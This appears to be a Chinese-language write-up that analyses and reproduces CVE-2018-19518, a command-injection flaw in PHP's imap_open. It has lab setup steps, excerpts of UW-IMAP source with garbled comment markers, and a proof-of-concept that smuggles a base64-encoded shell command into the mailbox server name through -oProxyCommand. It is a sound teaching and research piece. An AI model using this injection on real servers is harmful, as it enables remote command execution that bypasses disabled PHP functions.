受影响版本

Ubuntu https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-19518.html

Debian https://security-tracker.debian.org/tracker/CVE-2018-19518

Red Hat https://access.redhat.com/security/cve/cve-2018-19518

SUSE https://www.suse.com/security/cve/CVE-2018-19518/

描述

 

PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。利用此漏洞的功能代码是Metasploit Framework的一部分。

 

分析

 

要利用此漏洞,攻击者必须具有对目标系统的用户级访问权限。此访问要求可以降低成功利用的可能性。

 

复现过程

 

环境搭建

 

系统Debian9

 

安装PHP及其他包(php7.0.30)

apt-get update && apt-get install -y nano php

 

我们需要对PHP做一些安全的配置

 

比如说

echo ‘; priority=99’ > /etc/php/7.0/mods-available/disablefns.ini
echodisable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source’ >> /etc/php/7.0/mods-available/disablefns.ini
phpenmod disablefns

 

SSH安装

apt-get install -y ssh

 

strace工具安装

apt-get install -y strace

 

IMAP模块安装

cd /tmp/
wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f\~dfsg-2.dsc
wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f\~dfsg.orig.tar.gz
wget http://http.debian.net/debian/pool/main/u/uw-imap/uw-imap_2007f\~dfsg-2.debian.tar.gz
apt-get install dpkg-dev
dpkg-source -x uw-imap_2007f~dfsg-2.dsc imap-2007f
mv imap-2007f /usr/local/

 

什么是IMAP?

 

为什么我们要先了解这个?因为IMAP是在系统中执行任何命令的桥梁。Internet消息访问协议(IMAP)是电子邮件客户端用于通过TCP / IP连接从邮件服务器检索电子邮件的Internet标准协议。IMAP由Mark Crispin于1986年设计为远程邮箱协议,与广泛使用的POP(一种用于检索邮箱内容的协议)形成对比。目前,IMAP由RFC 3501定义规格。IMAP的设计目标是允许多个电子邮件客户端完全管理电子邮件收件箱。因此,客户端通常会在服务器上保留消息,直到用户明确删除它们为止。IMAP服务器通常侦听端口号143.默认情况下,为IMAP over SSL(IMAPS)分配端口号993。当然,PHP支持IMAP开箱即用。为了使协议的工作更容易,PHP有许多功能。在所有这些功能中,我们只对imap_open尽心讨论和探究。它用于打开邮箱的IMAP Stream。该函数不是PHP核心函数; 它是从华盛顿大学开发的UW IMAP工具包环境导入的,该库的最新版本大约在7年前于2011年发布。也许,IMAP在PHP中是这样调用的,比如说

resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )

 

使用mailbox参数来定义连接的服务器,比如说

{[host]}:[port][flags]}[mailbox_name]

 

IMAP允许您使用预先验证的ssh或rsh会话自动登录服务器。当您不需要使用该功能时使用的标志然后默认尝试使用该标志

cd /usr/local/imap-2007f/
cat src/osdep/unix/tcp_unix.c:

 

可以看到tcp_aopen的工作原理及主要功能在tcp_unix.c被定义

/ TCP/IP authenticated open
  Accepts: host name
           service name
           returned user name buffer
  Returns: TCP/IP stream if success else NIL
 /
#define MAXARGV 20
...
TCPSTREAM tcp_aopen (NETMBX mb,char service,char usrbuf)
{

 

我们看一下ssh和rsh的路径

#ifdef SSHPATH                  / ssh path defined yet? /
  if (!sshpath) sshpath = cpystr (SSHPATH);
#endif
#ifdef RSHPATH                  / rsh path defined yet? /
  if (!rshpath) rshpath = cpystr (RSHPATH);
#endif

 

可以看到,写到了如果没有定义SSHPATH,那么将尝试读取RSHPATH。其中部分代码将会帮你找到SSHPATH定义发生的位置代码示例如下:/imap-2007f/src/osdep/unix/env_unix.h:

/ dorc() options /
#define SYSCONFIG "/etc/c-client.cf"

 

/imap-2007f/src/osdep/unix/env_unix.c:

/ Process rc file
  Accepts: file name
           .mminit flag
  Don't use this feature.
 /
void dorc (char file,long flag)
{
  int i;
  char s,t,k,r,tmp[MAILTMPLEN],tmpx[MAILTMPLEN];
  extern MAILSTREAM CREATEPROTO;
  extern MAILSTREAM EMPTYPROTO;
  DRIVER d;
  FILE f;
  if ((f = fopen (file ? file : SYSCONFIG,"r")) &&
      (s = fgets (tmp,MAILTMPLEN,f)) && (t = strchr (s,'\n'))) do {
    t++ = '\0';                / tie off line, find second space /
    if ((k = strchr (s,' ')) && (k = strchr (++k,' '))) {
      k++ = '\0';              / tie off two words /
      if (!compare_cstring (s,"set keywords") && !userFlags[0]) {
                                / yes, get first keyword /
        k = strtok_r (k,", ",&r);

          fs_give ((void ) &sharedHome);
          sharedHome = cpystr (k);
        }
        else if (!compare_cstring (s,"set system-inbox")) {
          fs_give ((void ) &sysInbox);
          sysInbox = cpystr (k);
        }
        else if (!compare_cstring (s,"set mail-subdirectory")) {
          fs_give ((void *) &mailsubdir);
          mailsubdir = cpystr (k);
        }
        else if (!compare_cstring (s,"set from-widget"))
          mail_parameters (NIL,SET_FROMWIDGET,
                           compare_cstring (k,"header-only") ?
                           VOIDT : NIL);
^L
        else if (!compare_cstring (s,"set rsh-command"))
          mail_parameters (NIL,SET_RSHCOMMAND,(void ) k);
        else if (!compare_cstring (s,"set rsh-path"))
          mail_parameters (NIL,SET_RSHPATH,(void ) k);
        else if (!compare_cstring (s,"set ssh-command"))
          mail_parameters (NIL,SET_SSHCOMMAND,(void ) k);
        else if (!compare_cstring (s,"set ssh-path"))
          mail_parameters (NIL,SET_SSHPATH,(void ) k);
        else if (!compare_cstring (s,"set tcp-open-timeout"))
          mail_parameters (NIL,SET_OPENTIMEOUT,(void ) atol (k));
        else if (!compare_cstring (s,"set tcp-read-timeout"))
          mail_parameters (NIL,SET_READTIMEOUT,(void ) atol (k));
        else if (!compare_cstring (s,"set tcp-write-timeout"))
          mail_parameters (NIL,SET_WRITETIMEOUT,(void ) atol (k));
        else if (!compare_cstring (s,"set rsh-timeout"))
          mail_parameters (NIL,SET_RSHTIMEOUT,(void ) atol (k));

 

默认情况下它是空的,我们是无法控制它的,因为/etc目录没有写入权限。呐,我们跳转到RSHPATH。他在Makefile中。不同版本的发行版为其Makefile的路径都会不同。如果你不知道你的Makefile的路径,你可以在/usr/bin/rsh查看Makefile的路径。/imap-2007f/src/osdep/unix/Makefile:

bs3: # BSD/i386 3.0 or higher
…
RSHPATH=/usr/bin/rsh \
…
bsf: # FreeBSD
…
RSHPATH=/usr/bin/rsh \
…
mnt: # Mint
…
RSHPATH=/usr/bin/rsh \
…
osx: # Mac OS X
…
RSHPATH=/usr/bin/rsh \
…
slx: # Secure Linux
…
RSHPATH=/usr/bin/rsh \

 

我们cat一下tcp_appen返回都改变了什么

#endif
  if (service == '') {        / want ssh? /
                                / return immediately if ssh disabled /
    if (!(sshpath && (ti = sshtimeout))) return NIL;
                                / ssh command prototype defined yet? /
    if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /usr/sbin/r%sd");
  }
                                / want rsh? /
  else if (rshpath && (ti = rshtimeout)) {
                                / rsh command prototype defined yet? /
    if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /usr/sbin/r%sd");
  }
  else return NIL;              / rsh disabled /
                                / look like domain literal? */

 

我们发现上述的代码示例生成一个命令,用于在远程服务器上执行rimapd二进制文件。让我们创建一个PHP脚本进行测试test1.php。

/tmp/test0001
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

 

Poc地址

https://github.com/Bo0oM/PHP_imap_open_exploit/blob/master/exploit.php

 

使用带有execve系统调用过滤的strace工具来观察脚本处理期间将执行的命令。

strace -f -e trace=clone, execve php test1.php

 

如回显,这里的x其实是执行命令的参数之一,这意味着我们可以在操作服务器地址参数时操纵命令行

[pid 17251] execve("/usr/bin/rsh", ["/usr/bin/rsh", "x", "-oProxyCommand=echo\tZWNobyAnMTIz"..., "-l", "root", "exec", "/usr/sbin/rimapd"], [/ 20 vars /] 
我们ssh的一个ProxyCommand,连接服务器的这样的一个命令具体说明如下
ProxyCommand
指定用于连接服务器的命令。命令字符串扩展到行的末尾,并使用用户的shell' exec'指令执行,以避免延迟的shell进程。
ProxyCommand接受TOKENS 部分中描述的令牌的 参数。该命令基本上可以是任何东西,并且应该从其标准输入读取并写入其标准输出。它应该最终连接在某台机器上运行的sshd(8)服务器,或者在sshd -i某处执行。主机密钥管理将使用所连接主机的HostName完成(默认为用户键入的名称)。设置命令以none完全禁用此选项。请注意, CheckHostIP无法与代理命令连接。
该指令与nc(1)及其代理支持结合使用非常有用 。例如,以下指令将通过192.0.2.0的HTTP代理连接:
ProxyCommand / usr / bin / nc -X connect -x 192.0.2.0:8080% h%p
ssh -oProxyCommand =“echo hello | tee / tmp / executed”localhost

 

命令成功执行,回显

root@hacker:/tmp# ssh -oProxyCommand="echo hello|tee /tmp/executed" localhost
ssh_exchange_identification: Connection closed by remote host
root@hacker:/tmp# cat /tmp/executed
hello
root@hacker:/tmp#